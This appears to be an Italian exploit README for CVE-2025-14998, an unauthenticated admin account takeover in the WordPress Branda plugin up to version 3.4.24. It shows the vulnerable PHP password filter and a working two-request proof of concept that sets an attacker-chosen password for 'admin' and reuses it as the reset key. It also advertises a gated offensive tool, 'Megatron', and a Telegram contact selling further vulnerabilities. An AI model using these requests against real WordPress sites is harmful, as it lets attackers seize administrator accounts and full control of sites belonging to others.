Wordpress Branda – White Label & Branding, Customizer gratuito della pagina di login <= 3.4.24 - Escalation dei privilegi non autenticata tramite Account Takeover

CVE-2025-14998 Il plugin Branda per WordPress è vulnerabile all'escalation dei privilegi tramite account takeover in tutte le versioni fino alla 3.4.24 inclusa. Ciò è dovuto al fatto che il plugin non valida correttamente l'identità di un utente prima di aggiornarne la password. Questo consente ad attaccanti non autenticati di modificare le password di utenti arbitrari, inclusi gli amministratori, e di sfruttare la cosa per ottenere accesso al loro account.

Per altre vulnerabilità WordPress e strumenti pentest esclusivi contattami su Telegram @KtN1990.

🔍 Analisi della causa principale

Il plugin sovrascrive la logica di generazione delle password di WordPress agganciandosi al filtro random_password. Invece di consentire a WordPress di generare una password casuale sicura, il plugin la sostituisce con un input controllato dall'utente.

Codice vulnerabile

public function password_random_password_filter( $password ) {
    global $wpdb, $signup_password_use_encryption;

    if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
        $key = $_GET['key'];
    } elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
        $key = $_POST['key'];
    }

    if ( ! empty( $_POST['password_1'] ) ) {
        $password = $_POST['password_1'];
    } elseif ( ! empty( $key ) ) {
        $signup = $wpdb->get_row(
            $wpdb->prepare(
                "SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
                $key
            )
        );

        if ( ! ( empty( $signup ) || $signup->active ) ) {
            $meta = maybe_unserialize( $signup->meta );

            if ( ! empty( $meta['password'] ) ) {
                if ( 'yes' === $signup_password_use_encryption ) {
                    $password = $this->password_decrypt( $meta['password'] );
                } else {
                    $password = $meta['password'];
                }
            }
        }
    }

    return $password;
}

🧪 Prova di concetto (sanitizzata)

Passo 1 — Attiva il reset della password con una password arbitraria

POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded

user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password

Il valore di password_1 può essere qualsiasi stringa controllata dall'attaccante.

Passo 2 — Completa il reset usando lo stesso valore come chiave di reset

GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local

✅ Risultato

• WordPress accetta la password controllata dall'attaccante
• La password dell'amministratore viene modificata
• L'attaccante può autenticarsi come l'utente interessato

Non è richiesto l'accesso alla email o un token di reset valido.

💥 Impatto

Un attaccante non autenticato può:

• Reimpostare le password di qualsiasi utente WordPress
• Assumere il controllo degli account amministratore
• Ottenere il controllo completo dell'installazione WordPress
• Modificare plugin, temi o contenuti

Contatti

• @KtN1990

Altre vulnerabilità, dai un'occhiata a Megatron!

• 💣 Cos'è Megatron? Megatron è uno strumento avanzato di penetration testing progettato per tester seri e red teamer. Che tu stia facendo audit, scanning o testando infrastrutture, Megatron ti dà la potenza che ti serve.

-🛡️ Ideale per: – Ricercatori di sicurezza – Penetration tester – Hacker etici

• 📦 Manutenuta in linea con ~230 moduli di ricerca legacy; recenti miglioramenti al core dello scanner per stabilità e rilevamento.

• 🎯 Scopo: fornito esclusivamente per test di sicurezza autorizzati, formazione, ricerca difensiva e addestramento red-team. Questa release non è per uso illecito. La distribuzione è soggetta a controllo: accesso solo dopo verifica e firma di un Responsible Use Agreement / NDA.

-🛡 Politica di accesso responsabile (riassunto):

1. Accesso solo a professionisti della sicurezza verificati, team di sicurezza aziendali, laboratori accreditati o fornitori di formazione.
2. Devi fornire nome dell'organizzazione, ruolo, email ufficiale (aziendale) e scopo lecito.
3. Download completo concesso solo dopo verifica e firma del nostro Responsible Use Agreement / NDA.
4. Tolleranza zero per gli abusi: prove di uso malevolo comportano la revoca e la segnalazione dove richiesto.

• 📩 Contatti / Richieste / Verifica: @KtN1990 — includi organizzazione, ruolo e breve motivo di accesso. Canale Telegram

Demo

Licenza

MIT